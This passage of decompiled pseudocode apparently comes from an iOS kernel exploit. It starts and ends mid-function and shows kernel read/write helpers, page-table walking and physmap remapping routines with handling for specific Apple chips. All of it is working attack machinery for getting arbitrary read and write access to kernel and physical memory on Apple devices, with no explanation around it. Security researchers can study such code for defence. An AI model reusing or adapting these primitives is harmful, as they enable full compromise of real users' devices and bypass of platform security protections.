            }
            if ( (v280 & 1) == 0 )
            {
              if ( *(uint8_t *)v233 || (*(uint32_t *)(v303 + 912) & 0xF0) != 0 )
              {
                v280 = 0;
                goto LABEL_425;
              }
              get_kernel_version_build_0(a1, *(uint64_t *)(v233 + 840), 0);
            }
            v280 = 1;
LABEL_425:
            semaphore_timedwait_ns(a1, 0x3E8u);
            if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(v233 + 792), 8, &v343) )
              goto LABEL_428;
          }
        }
        *((uint64_t *)v241 + 32) = *(uint64_t *)(v233 + 360);
        *(uint8_t *)v233 = 1;
      }
      setup_macho_section_dispatch(a1, *(uint64_t *)(v233 + 344) + 1LL, v279);
      goto LABEL_417;
    }
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
      v251 = 832;
    else
      v251 = 848;
    v1 = lookup_sptm_state_entry(a1, *(uint64_t *)(v233 + 344), inputStruct);
    if ( (uint32_t)v1 )
      goto LABEL_431;
    v252 = *(uint64_t *)inputStruct;
    v253 = (char *)v234 + inputStruct[0];
    v254 = v253 + 3072;
    v255 = v235 + inputStruct[0] + 3072;
    *((uint64_t *)v253 + 384) = *(uint64_t *)(v233 + 376);
    *((uint64_t *)v253 + 386) = 0;
    *((uint64_t *)v253 + 385) = 0;
    *((uint64_t *)v253 + 414) = *(uint64_t *)(v233 + 368);
    *((uint64_t *)v253 + 415) = v255 + v251;
    if ( *(uint8_t *)v233 )
      v256 = *(uint64_t *)(v233 + 360);
    else
      v256 = *(uint64_t *)(v233 + 360) + 4LL;
    *((uint64_t *)v253 + 416) = v256;
    *(__int128 *)(v253 + 3336) = xmmword_431D0;
    *((uint64_t *)v253 + 419) = 16;
    v257 = &v254[v251];
    *(uint64_t *)v257 = *(uint64_t *)(v233 + 344);
    *((uint64_t *)v257 + 1) = v252;
    *((uint64_t *)v257 + 2) = 0;
    *((uint64_t *)v257 + 30) = *(uint64_t *)(v233 + 368);
    *((uint64_t *)v257 + 32) = *(uint64_t *)(v233 + 360);
    *(__int128 *)&v254[v251 + 264] = xmmword_431D0;
    *((uint64_t *)v257 + 35) = 16;
    v258 = (__int64)&v254[v251 + v251];
    *(uint64_t *)(v258 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v258 + 256) = *(uint64_t *)(v233 + 408);
    *(__int128 *)(v258 + 264) = xmmword_431D0;
    *(uint64_t *)(v258 + 280) = 16;
    v259 = v258 + v251;
    *(uint64_t *)v259 = *(uint64_t *)(v233 + 416) + 264LL;
    *(uint64_t *)(v259 + 8) = *(uint64_t *)(v233 + 760);
    *(uint64_t *)(v259 + 16) = 0;
    *(uint64_t *)(v259 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v259 + 256) = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v259 + 264) = xmmword_431D0;
    *(uint64_t *)(v259 + 280) = 16;
    v260 = v259 + v251;
    *(uint64_t *)v260 = *(uint64_t *)(v233 + 416) + 216LL;
    *(uint64_t *)(v260 + 8) = v252;
    *(uint64_t *)(v260 + 16) = 0;
    *(uint64_t *)(v260 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v260 + 256) = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v260 + 264) = xmmword_431D0;
    *(uint64_t *)(v260 + 280) = 16;
    v261 = (uint64_t *)(v260 + v251);
    *v261 = *(uint64_t *)(v233 + 416) + 200LL;
    v261[1] = v255 + 9 * v251;
    v261[2] = 0;
    v261[30] = *(uint64_t *)(v233 + 368);
    v261[32] = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v260 + v251 + 264) = xmmword_431D0;
    v261[35] = 16;
    v262 = v260 + v251 + v251;
    *(uint64_t *)v262 = *(uint64_t *)(v233 + 392) + 8LL;
    *(uint64_t *)(v262 + 8) = 0;
    *(uint64_t *)(v262 + 16) = 0;
    *(uint64_t *)(v262 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v262 + 256) = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v262 + 264) = xmmword_431D0;
    *(uint64_t *)(v262 + 280) = 16;
    v263 = v262 + v251;
    *(uint64_t *)(v263 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v263 + 256) = *(uint64_t *)(v233 + 424);
    *(__int128 *)(v263 + 264) = xmmword_431D0;
    *(uint64_t *)(v263 + 280) = 16;
    v264 = v263 + v251;
    *(uint64_t *)v264 = *(uint64_t *)(v233 + 400);
    *(__int128 *)(v264 + 8) = xmmword_431F0;
    *(uint64_t *)(v264 + 240) = *(uint64_t *)(v233 + 432);
    *(uint64_t *)(v264 + 256) = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v264 + 264) = xmmword_431D0;
    *(uint64_t *)(v264 + 280) = 16;
    v265 = v264 + v251;
    *(uint64_t *)v265 = *(uint64_t *)(v233 + 800);
    *(uint64_t *)(v265 + 8) = *(uint64_t *)(v233 + 808);
    *(uint64_t *)(v265 + 16) = 0;
    *(uint64_t *)(v265 + 240) = *(uint64_t *)(v233 + 368);
    *(uint64_t *)(v265 + 256) = *(uint64_t *)(v233 + 360);
    *(__int128 *)(v265 + 264) = xmmword_431D0;
    *(uint64_t *)(v265 + 280) = 16;
    v266 = v265 + v251;
    if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14) )
    {
      *(uint64_t *)v266 = *(uint64_t *)(v233 + 816);
      *(uint64_t *)(v266 + 8) = *(uint64_t *)(v233 + 824);
      *(uint64_t *)(v266 + 16) = 0;
      *(uint64_t *)(v266 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v266 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v266 + 264) = xmmword_431D0;
      *(uint64_t *)(v266 + 280) = 16;
      v267 = (uint64_t *)(v266 + v251);
      v267[30] = *(uint64_t *)(v233 + 368);
      v267[32] = *(uint64_t *)(v233 + 440);
      *(__int128 *)(v266 + v251 + 264) = xmmword_431D0;
      v267[35] = 16;
      v266 += v251 + v251;
    }
    *(uint64_t *)v266 = 0;
    *(uint64_t *)(v266 + 256) = *(uint64_t *)(v233 + 352);
    *(__int128 *)(v266 + 264) = xmmword_431E0;
    *(uint64_t *)(v266 + 280) = 16;
    if ( *(uint8_t *)v233 )
    {
      v268 = v255 >> 8;
    }
    else
    {
      v268 = v255 >> 8;
      if ( !(unsigned int)get_kernel_version_build_0(a1, *(uint64_t *)(v233 + 344) + 1LL, v268) )
        goto LABEL_407;
      *((uint64_t *)v254 + 32) = *(uint64_t *)(v233 + 360);
    }
    setup_macho_section_dispatch(a1, *(uint64_t *)(v233 + 344) + 1LL, v268);
    while ( 1 )
    {
LABEL_407:
      if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(v233 + 792), 8, src_address) )
      {
        v1 = 163855;
        goto LABEL_431;
      }
      if ( src_address[0] == *(uint64_t *)(v233 + 808) )
        break;
      semaphore_timedwait_ns(a1, 0x3E8u);
    }
    v1 = 0;
LABEL_431:
    if ( (uint32_t)v1 )
      goto LABEL_27;
    v1 = 708617;
    v281 = *(uint64_t *)(a1 + 7512);
    *(uint32_t *)inputStruct = 552;
    if ( *(uint64_t *)(a1 + 280) && *(uint64_t *)(a1 + 288) )
    {
      v282 = alloc_physmap_page(a1, (unsigned int *)inputStruct);
      if ( !v282 )
        goto LABEL_27;
      v283 = v282;
      if ( !(unsigned int)kwrite_with_retry(a1, v282, v281 + 760, *(unsigned int *)inputStruct) )
      {
        v1 = 163856;
        goto LABEL_27;
      }
      *(uint64_t *)(*(uint64_t *)(a1 + 280) + 352LL) = v283;
    }
    return 0;
  }
  v1 = 708617;
  v202 = *(uint64_t *)(a1 + 7512);
  v203 = *(uint64_t *)(v202 + 600);
  v204 = *(uint64_t *)(v202 + 608);
  LODWORD(size[0]) = 0x4000;
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(v202 + 592), 8, &outputStruct)
    || (v205 = *(uint64_t **)(a1 + 7512),
        v206 = v205[74],
        v207 = v205[96],
        LODWORD(input[0]) = 0x4000,
        !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v206, 8, v316))
    || (v208 = read_cryptex_manifest((struct_krwCtx *)a1, *(uint64_t *)v316 & 0xFFFFFFFFC000LL)) == 0
    || !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v208, 8, address)
    || (v209 = read_cryptex_manifest((struct_krwCtx *)a1, address[0] & 0xFFFFFFFFC000LL)) == 0 )
  {
LABEL_370:
    v1 = v47;
    goto LABEL_27;
  }
  v210 = v209;
  v301 = alloc_physmap_scratch_page(a1, input);
  if ( !v301 )
    goto LABEL_27;
  pgtable_walk_wrapper(a1, v301 & ~*(uint64_t *)(a1 + 392), (__int64)&v343);
  if ( !v211 )
    goto LABEL_369;
  v212 = v345 & 0xFFFFFFFFC000LL;
  if ( (v345 & 0xFFFFFFFFC000LL) == 0 )
    goto LABEL_369;
  v296 = alloc_physmap_scratch_page(a1, input);
  if ( !v296 )
  {
    v47 = 708617;
LABEL_369:
    map_shared_mem_and_transfer_data(a1, v301, LODWORD(input[0]));
    goto LABEL_370;
  }
  pgtable_walk_wrapper(a1, v296 & ~*(uint64_t *)(a1 + 392), (__int64)&v343);
  if ( !v213 || (v291 = v345 & 0xFFFFFFFFC000LL, (v345 & 0xFFFFFFFFC000LL) == 0) )
  {
LABEL_368:
    map_shared_mem_and_transfer_data(a1, v296, LODWORD(input[0]));
    goto LABEL_369;
  }
  *(uint64_t *)v316 = *(uint64_t *)v316 & 0xFFFF000000003FFFLL | v212;
  if ( !(unsigned int)kwrite_with_retry(a1, v207, (__int64)v316, 8)
    || (address[0] = address[0] & 0xFFFF000000003FFFLL | v291,
        !(unsigned int)kwrite_with_retry(a1, v301, (__int64)address, 8)) )
  {
LABEL_367:
    v47 = 163856;
    goto LABEL_368;
  }
  for ( i = 0; i != 0x4000; i += 8 )
  {
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v210 + i, 8, target_address) )
      goto LABEL_368;
    if ( target_address[0] && !(unsigned int)kwrite_with_retry(a1, v296 + i, (__int64)target_address, 8) )
      goto LABEL_367;
  }
  v205[159] = v301;
  v205[160] = v296;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 536), v202 + 880);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_rw_multi(a1, *(uint64_t *)(v202 + 544), *(uint64_t *)(v202 + 760));
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 560), v202 + 936);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 568), v202 + 992);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 576), v202 + 1048);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 584), v202 + 1104);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 528) & ~*(uint64_t *)(a1 + 392), v202 + 1160);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  *(uint64_t *)((*(uint64_t *)(a1 + 392) & *(uint64_t *)(v202 + 528)) + *(uint64_t *)(v202 + 1160)) = 16424;
  v302 = (__int64 *)calloc(0x800u, 8u);
  if ( !v302 )
  {
    v1 = 708617;
    goto LABEL_27;
  }
  v215 = 0;
  *(uint64_t *)v297 = *(uint64_t *)(v202 + 304) - *(uint64_t *)(v202 + 272);
  while ( 2 )
  {
    v216 = alloc_physmap_page(a1, (unsigned int *)size);
    if ( !v216 )
    {
      v1 = 708617;
      goto LABEL_378;
    }
    v217 = v216;
    pgtable_walk_wrapper(a1, v216 & ~*(uint64_t *)(a1 + 392), (__int64)&v343);
    v218 = v345 & 0xFFFFFFFFC000LL;
    if ( v219 )
      v220 = v218 == 0;
    else
      v220 = 1;
    if ( v220 )
    {
      v1 = 0xFFFFFFFFLL;
      goto LABEL_378;
    }
    v221 = v218 + *(uint64_t *)v297;
    if ( (unsigned __int64)(v218 + *(uint64_t *)v297 + 0x7FFDFFFFFFLL) < 0xFFDFFFFFFLL )
      goto LABEL_356;
    v302[v215++] = v217;
    if ( v215 != 2048 )
      continue;
    break;
  }
  if ( !v221 )
  {
    v1 = 0xFFFFFFFFLL;
LABEL_379:
    v229 = (unsigned int)v215;
    v230 = v302;
    do
    {
      v231 = *v230++;
      map_shared_mem_and_transfer_data(a1, v231, LODWORD(size[0]));
      --v229;
    }
    while ( v229 );
LABEL_381:
    free(v302);
    if ( (uint32_t)v1 )
      goto LABEL_27;
    goto LABEL_382;
  }
LABEL_356:
  v289 = *(uint64_t *)(a1 + 392);
  v292 = *(uint64_t *)(v202 + 416);
  v298 = read_pgtable_entry(a1, v292, 0, 1);
  if ( !v298 )
  {
    v1 = 0xFFFFFFFFLL;
    goto LABEL_377;
  }
  *(__int128 *)&v339[16] = 0u;
  *(__int128 *)v339 = 0u;
  v338 = 0u;
  v337 = 0u;
  v336 = 0u;
  v335 = 0u;
  v334 = 0u;
  v333 = 0u;
  v332 = 0u;
  v331 = 0u;
  v330 = 0u;
  v329 = 0u;
  v328 = 0u;
  v327 = 0u;
  v326 = 0u;
  *(__int128 *)&inputStruct[8] = 0u;
  v222 = *(uint64_t *)(v202 + 536);
  *(uint64_t *)inputStruct = *(uint64_t *)(v202 + 368);
  *(uint64_t *)&v337 = v222;
  v223 = *(uint64_t *)(v202 + 560);
  *((uint64_t *)&v337 + 1) = *(uint64_t *)(v202 + 480);
  *(uint64_t *)&v338 = v223;
  DWORD2(v338) = 819796357;
  *(uint32_t *)v339 = 3145728;
  *(__int128 *)&v339[8] = xmmword_43190;
  v224 = *(uint64_t *)(v202 + 760);
  *(uint64_t *)v293 = v289 & v292;
  v341 = *(uint64_t *)(v202 + 456);
  v340 = v224;
  if ( !(unsigned int)kwrite_with_retry(a1, *(uint64_t *)v293 + v217, (__int64)inputStruct, 280) )
  {
    v1 = 163856;
    goto LABEL_377;
  }
  v225 = *(uint64_t *)v293 + v221;
  v1 = setup_physmap_rw_multi(a1, v225 & ~*(uint64_t *)(a1 + 392), v218);
  if ( (uint32_t)v1 )
  {
LABEL_377:
    map_shared_mem_and_transfer_data(a1, v217, LODWORD(size[0]));
LABEL_378:
    if ( !(uint32_t)v215 )
      goto LABEL_381;
    goto LABEL_379;
  }
  v226 = *(uint64_t *)(v202 + 480);
  src_address[0] = *(uint64_t *)(v202 + 488);
  src_address[1] = 964;
  v227 = *(uint64_t *)(v202 + 568) + (unsigned int)(*(uint32_t *)(a1 + 384) - 16);
  memset(&src_address[28], 0, 56);
  memset(&src_address[2], 0, 184);
  src_address[25] = v227;
  *(__int128 *)&src_address[26] = v226;
  v1 = setup_physmap_page_with_size((struct_krwCtx *)a1, *(uint64_t *)(v202 + 552), v202 + 1216);
  if ( !(uint32_t)v1 )
  {
    memcpy(*(void **)(v202 + 1216), src_address, 0x118u);
    *(uint32_t *)(v203 + 16192) = 16;
    *(uint64_t *)(v203 + 16200) = v204 + 16208;
    *(uint64_t *)(v203 + 16208) = v225 >> 14;
    *(uint64_t *)(v203 + 16216) = v298 >> 14;
    *(__int128 *)(v203 + 16224) = xmmword_431A0;
    v228 = vdupq_n_s64(v204);
    *(uint32_t *)(v203 + 16288) = 36;
    *(uint64_t *)(v203 + 16296) = *(uint64_t *)(v202 + 512);
    *(int64x2_t *)(v202 + 832) = vaddq_s64(v228, (int64x2_t)xmmword_431C0);
    *(int64x2_t *)(v202 + 848) = vaddq_s64(v228, (int64x2_t)xmmword_431B0);
    *(uint64_t *)(v202 + 864) = v225;
    *(uint64_t *)(v202 + 872) = outputStruct;
    goto LABEL_378;
  }
LABEL_27:
  *(uint64_t *)(a1 + 7512) = 0;
  free(v4);
  return v1;
}
// 16B40: variable 'v87' is possibly undefined
// 16B68: variable 'v89' is possibly undefined
// 17804: variable 'v183' is possibly undefined
// 1785C: variable 'v187' is possibly undefined
// 17890: variable 'v189' is possibly undefined
// 178CC: variable 'v190' is possibly undefined
// 17904: variable 'v191' is possibly undefined
// 17924: variable 'v192' is possibly undefined
// 17A20: variable 'v197' is possibly undefined
// 17A68: variable 'v198' is possibly undefined
// 17CCC: variable 'v211' is possibly undefined
// 17D08: variable 'v213' is possibly undefined
// 17EF0: variable 'v219' is possibly undefined
// 42FA0: using guessed type __int128 xmmword_42FA0;
// 42FB0: using guessed type __int128 xmmword_42FB0;
// 42FC0: using guessed type __int128 xmmword_42FC0;
// 42FD0: using guessed type __int128 xmmword_42FD0;
// 42FE0: using guessed type __int128 xmmword_42FE0;
// 42FF0: using guessed type __int128 xmmword_42FF0;
// 43000: using guessed type __int128 xmmword_43000;
// 43010: using guessed type __int128 xmmword_43010;
// 43020: using guessed type __int128 xmmword_43020;
// 43030: using guessed type __int128 xmmword_43030;
// 43040: using guessed type __int128 xmmword_43040;
// 43050: using guessed type __int128 xmmword_43050;
// 43060: using guessed type __int128 xmmword_43060;
// 43070: using guessed type __int128 xmmword_43070;
// 43080: using guessed type __int128 xmmword_43080;
// 43090: using guessed type __int128 xmmword_43090;
// 430A0: using guessed type __int128 xmmword_430A0;
// 430B0: using guessed type __int128 xmmword_430B0;
// 430C0: using guessed type __int128 xmmword_430C0;
// 430D0: using guessed type __int128 xmmword_430D0;
// 430E0: using guessed type __int128 xmmword_430E0;
// 430F0: using guessed type __int128 xmmword_430F0;
// 43100: using guessed type __int128 xmmword_43100;
// 43110: using guessed type __int128 xmmword_43110;
// 43120: using guessed type __int128 xmmword_43120;
// 43130: using guessed type __int128 xmmword_43130;
// 43140: using guessed type __int128 xmmword_43140;
// 43150: using guessed type __int128 xmmword_43150;
// 43160: using guessed type __int128 xmmword_43160;
// 43170: using guessed type __int128 xmmword_43170;
// 43180: using guessed type __int128 xmmword_43180;
// 43190: using guessed type __int128 xmmword_43190;
// 431A0: using guessed type __int128 xmmword_431A0;
// 431B0: using guessed type __int128 xmmword_431B0;
// 431C0: using guessed type __int128 xmmword_431C0;
// 431D0: using guessed type __int128 xmmword_431D0;
// 431E0: using guessed type __int128 xmmword_431E0;
// 431F0: using guessed type __int128 xmmword_431F0;
// 43750: using guessed type __int128 xmmword_43750;

//----- (0000000000018B14) ----------------------------------------------------
unsigned __int64 __fastcall read_cryptex_manifest(struct_krwCtx *a1, unsigned __int64 a2)
{
  __int64 v2; // x20
  struct_krwCtx *v3; // x21
  unsigned __int64 v4; // x19
  unsigned __int64 v5; // x23
  int v6; // w22
  int v7; // w24
  int has_flag; // w0
  unsigned __int64 v10; // x0
  __int64 v11; // x28
  __int64 v12; // x26
  __int64 v13; // x27
  unsigned __int64 v14; // x8
  __int64 v15; // x0
  unsigned __int64 v16; // x8
  unsigned __int64 v17; // x9
  bool v18; // zf
  __int64 v19; // x22
  __int64 v20; // x0
  __int64 v22; // [xsp+8h] [xbp-4078h] BYREF
  __int64 v23; // [xsp+10h] [xbp-4070h] BYREF
  __int64 v24; // [xsp+18h] [xbp-4068h] BYREF
  uint64_t v25[2048]; // [xsp+20h] [xbp-4060h] BYREF

  v2 = a2;
  v3 = a1;
  v4 = *(uint64_t *)((char *)a1 + 6632);
  v5 = *(uint64_t *)((char *)a1 + 6640);
  v6 = number_of_cpus();
  if ( krw_ctx_has_flag(v3, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) )
  {
    v7 = 2047;
  }
  else
  {
    has_flag = krw_ctx_has_flag(v3, KRW_CTX_FLAG_CPU_A14 | KRW_CTX_FLAG_CPU_A15);
    if ( v6 <= 7 || !has_flag )
      v7 = 7;
    else
      v7 = 2047;
  }
  v10 = krw_lookup_and_process_entry(v3);
  if ( v10 && (unsigned int)krw_read_thunk(v3, v10, 8, &v24) )
  {
    if ( v4 < v5 )
    {
      v11 = 0;
      v12 = 0;
      v13 = 0;
      while ( 1 )
      {
        v14 = *(uint64_t *)&v7 & (v4 >> 36);
        if ( v24 + 8 * v14 != v12 )
        {
          v12 = v24 + 8 * v14;
          if ( !(unsigned int)krw_read_thunk(v3, v12, 8, &v23) )
            return 0;
        }
        if ( (v23 & 1) == 0 )
          break;
        v15 = resolve_physpage_addr(v3, v23 & 0xFFFFFFFFC000LL);
        if ( !v15 )
          break;
        v19 = v15 + ((v4 >> 22) & 0x3FF8);
        if ( v11 != v19 )
        {
          v11 = v15 + ((v4 >> 22) & 0x3FF8);
          if ( !(unsigned int)krw_read_thunk(v3, v19, 8, &v22) )
            return 0;
        }
        if ( (v22 & 1) == 0 )
          goto LABEL_29;
        if ( (v22 & 2) == 0 && (v22 & 0xFFFFFE000000LL) == v2 )
          return v4;
        v20 = resolve_physpage_addr(v3, v22 & 0xFFFFFFFFC000LL);
        if ( !v20 )
        {
LABEL_29:
          v16 = v4 + 0x2000000;
          v17 = (v4 + 0x2000000) & 0xFFFFFFFFFE000000LL;
          v18 = v17 == 0;
LABEL_18:
          if ( v18 )
            v4 = v16;
          else
            v4 = v17;
          goto LABEL_21;
        }
        if ( v13 != v20 )
        {
          v13 = v20;
          if ( !(unsigned int)krw_read_thunk(v3, v20, 0x4000, v25) )
            return 0;
        }
        if ( (v25[(v4 >> 14) & 0x7FF] & 0xFFFFFFFFC000LL) == v2 )
        {
          v4 |= 0xFFFFF00000000000LL;
          return v4;
        }
        v4 += (unsigned int)v3->pageSizeOrSomething;
LABEL_21:
        if ( v4 >= v5 )
          goto LABEL_34;
      }
      v16 = v4 + 0x1000000000LL;
      v17 = (v4 + 0x1000000000LL) & 0xFFFFFFF000000000LL;
      v18 = v17 == 0;
      goto LABEL_18;
    }
LABEL_34:
    if ( v4 - 1 == v5 )
      return 0;
  }
  return v4;
}
// 18B4C: variable 'v1' is possibly undefined
// 48940: using guessed type __int64 __chkstk_darwin(void);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (0000000000018D68) ----------------------------------------------------
char *__fastcall scan_physmap_state_entries(__int64 a1, uint32_t *a2, uint32_t *a3, unsigned __int64 a4)
{
  __int64 v4; // x8
  char *result; // x0
  char *v6; // x8
  char *v7; // x11
  __int64 v9; // x11

  v4 = *(uint64_t *)(a1 + 7512);
  result = *(char **)(v4 + 328);
  v6 = &result[*(uint64_t *)(v4 + 336)];
  if ( result >= v6 )
    return 0LL;
  while ( (*a3 & *(uint32_t *)result) != *a2 )
  {
LABEL_12:
    result += 4;
    if ( result >= v6 )
      return 0LL;
  }
  v7 = &result[4 * a4];
  if ( v7 < v6 && a4 >= 2 )
  {
    v9 = 1LL;
    while ( (a3[v9] & *(uint32_t *)&result[4 * v9]) == a2[v9] )
    {
      if ( a4 == ++v9 )
        return result;
    }
    goto LABEL_12;
  }
  if ( v7 >= v6 )
    return 0LL;
  return result;
}

//----- (0000000000018DF0) ----------------------------------------------------
__int64 __fastcall lookup_sptm_state_entry(__int64 a1, unsigned __int64 a2, uint64_t *a3)
{
  uint64_t *v4; // x9
  unsigned __int64 v5; // x8
  __int64 v6; // x8
  unsigned __int64 v7; // x10
  __int64 v8; // x20
  __int64 v10; // [xsp+8h] [xbp-18h] BYREF

  v4 = *(uint64_t **)(a1 + 7512);
  v5 = v4[37];
  if ( v5 > a2 || v4[39] + v5 <= a2 )
    v6 = 0;
  else
    v6 = a2 - v5 + v4[31];
  v7 = v4[38];
  if ( v7 <= a2 && v4[40] + v7 > a2 )
    v6 = a2 - v7 + v4[32];
  v8 = 163855;
  if ( v6 && (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v6, 8, &v10) )
  {
    v8 = 0;
    *a3 = v10;
  }
  return v8;
}

//----- (0000000000018EA4) ----------------------------------------------------
unsigned __int64 __fastcall read_pgtable_entry(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4)
{
  unsigned __int64 result; // x0
  __int64 v9; // x23
  __int64 v10; // [xsp+8h] [xbp-48h] BYREF
  __int64 v11; // [xsp+10h] [xbp-40h] BYREF
  __int64 v12; // [xsp+18h] [xbp-38h] BYREF

  if ( !(unsigned int)krw_read_thunk(
                        (struct_krwCtx *)a1,
                        *(uint64_t *)(*(uint64_t *)(a1 + 7512) + 592LL) + ((a2 >> 33) & 0x38),
                        8,
                        &v12)
    || (v12 & 1) == 0 )
  {
    return 0;
  }
  if ( (a4 & 1) != 0 )
  {
    result = read_cryptex_manifest((struct_krwCtx *)a1, v12 & 0xFFFFFFFFC000LL);
    if ( !result )
      return result;
  }
  else
  {
    result = resolve_physpage_addr((struct_krwCtx *)a1, v12 & 0xFFFFFFFFC000LL);
    if ( !result )
      return result;
  }
  v9 = result + ((a2 >> 22) & 0x3FF8);
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v9, 8, &v11) || (v11 & 1) == 0 )
    return 0;
  if ( (v11 & 2) == 0 )
  {
    result = v11 & 0xFFFFFE000000LL;
    if ( !a3 )
      return result;
LABEL_13:
    *a3 = v9;
    return result;
  }
  if ( (a4 & 1) != 0 )
    result = read_cryptex_manifest((struct_krwCtx *)a1, v11 & 0xFFFFFFFFC000LL);
  else
    result = resolve_physpage_addr((struct_krwCtx *)a1, v11 & 0xFFFFFFFFC000LL);
  if ( result )
  {
    v9 = result + ((a2 >> 11) & 0x3FF8);
    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v9, 8, &v10) && (v10 & 1) != 0 )
    {
      result = v10 & 0xFFFFFFFFC000LL;
      if ( !a3 )
        return result;
      goto LABEL_13;
    }
    return 0;
  }
  return result;
}

//----- (0000000000018FCC) ----------------------------------------------------
__int64 __fastcall get_pgtable_walk_result(struct_krwCtx *a1, unsigned __int64 a2, uint64_t *a3)
{
  unsigned __int64 v6; // x0
  __int64 result; // x0

  v6 = read_pgtable_entry((__int64)a1, a2, 0, 0);
  if ( !v6 )
    return 163855;
  result = physmap_map_cached(a1, v6, (__int64)(a3 + 3));
  if ( !(uint32_t)result )
  {
    *a3 = a3[3];
    a3[1] = a2;
    a3[2] = (unsigned int)a1->pageSizeOrSomething;
  }
  return result;
}

//----- (0000000000019040) ----------------------------------------------------
__int64 __fastcall setup_physmap_page_with_size(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3)
{
  unsigned __int64 v6; // x0
  __int64 v7; // x21
  unsigned __int64 v8; // x23
  int v9; // w0
  bool v10; // zf
  __int64 v11; // x22
  __int64 v12; // x0
  vm_size_t size[4]; // [xsp+4h] [xbp-5Ch] BYREF
  __int64 v15; // [xsp+28h] [xbp-38h]

  LODWORD(size[0]) = 0x4000;
  v6 = alloc_physmap_page((__int64)a1, (unsigned int *)size);
  if ( !v6 )
    return 708617;
  v7 = v6;
  pgtable_walk_wrapper((__int64)a1, v6 & ~a1->pageMask, (__int64)size + 4);
  v8 = v15 & 0xFFFFFFFFC000LL;
  if ( v9 )
    v10 = v8 == 0;
  else
    v10 = 1;
  if ( v10 )
  {
    v11 = 163855;
LABEL_11:
    map_shared_mem_and_transfer_data((__int64)a1, v7, LODWORD(size[0]));
    return v11;
  }
  v12 = setup_physmap_rw_multi((__int64)a1, a2, v15 & 0xFFFFFFFFC000LL);
  v11 = v12;
  if ( (uint32_t)v12 )
    goto LABEL_11;
  v11 = physmap_map_cached(a1, v8, a3);
  if ( (uint32_t)v11 )
    goto LABEL_11;
  return v11;
}
// 190A0: variable 'v9' is possibly undefined

//----- (0000000000019128) ----------------------------------------------------
__int64 __fastcall setup_physmap_rw_multi(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  uint64_t *v3; // x25
  __int64 v4; // x8
  unsigned __int64 v5; // x27
  int v6; // w24
  int v7; // w26
  unsigned __int64 v8; // x9
  __int64 v13; // x19
  int v14; // w26
  unsigned __int64 v15; // x0
  __int64 v17; // x24
  unsigned __int64 v18; // x0
  unsigned __int64 v19; // x23
  int v20; // w0
  uint32_t size[3]; // [xsp+4h] [xbp-8Ch] BYREF
  __int64 v22; // [xsp+10h] [xbp-80h] BYREF
  uint64_t v23[4]; // [xsp+18h] [xbp-78h] BYREF
  __int64 v24; // [xsp+38h] [xbp-58h]

  v3 = *(uint64_t **)(a1 + 7512);
  v4 = v3[96];
  size[0] = 0x4000;
  v5 = a2 + 0x8000000000LL;
  v6 = a2 + 0x8000000000LL >= 0x1FFC001;
  v7 = a2 + 0xFFE000000LL < 0x1FFC001;
  v8 = v3[98];
  if ( v8 <= a2 && v8 + 0x2000000 > a2 )
    return 0xFFFFFFFFLL;
  v13 = 163855;
  if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v4 + ((a2 >> 33) & 0x38), 8, &v22) )
  {
    v14 = v6 && v7;
    if ( v5 >= 0x1FFC001 )
    {
      if ( v14 )
      {
        v15 = v3[97];
        if ( !v15 )
          return v13;
      }
      else
      {
        v15 = read_cryptex_manifest((struct_krwCtx *)a1, v22 & 0xFFFFFFFFC000LL);
        if ( !v15 )
          return v13;
      }
    }
    else
    {
      v15 = v3[159];
      if ( !v15 )
        return v13;
    }
    v17 = v15 + ((a2 >> 22) & 0x3FF8);
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v17, 8, &size[1]) )
      return v13;
    if ( (size[1] & 1) == 0 )
    {
      v18 = alloc_physmap_scratch_page(a1, size);
      if ( !v18 )
        return 708617;
      v19 = v18;
